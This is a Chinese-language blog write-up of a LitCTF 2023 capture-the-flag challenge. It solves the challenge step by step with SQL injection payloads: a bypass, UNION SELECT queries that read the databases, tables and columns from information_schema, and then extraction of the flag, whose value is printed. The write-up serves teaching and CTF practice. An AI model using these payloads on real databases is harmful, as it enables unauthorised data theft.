[LitCTF 2023]这是什么?SQL !注一下 !
为了安全起见多带了几个套罢了o(▽)q
出题人 探姬
解法
先试试这个:
)))))) or 1=1 --
有结果了,但是这个 flag 是假的。
flag 可能在其他表里。先用 hackbar 爆库名。
1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+
爆表名。
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+
ctftraining 库中发现一个叫 flag 的表。
爆列名。
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' --+
列名也叫 flag。
1)))))) UNION SELECT 1, flag FROM ctftraining.flag; --+
取得 flag。
Flag
NSSCTF{63d1b3ba-d5d7-420d-9276-c98150270782}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。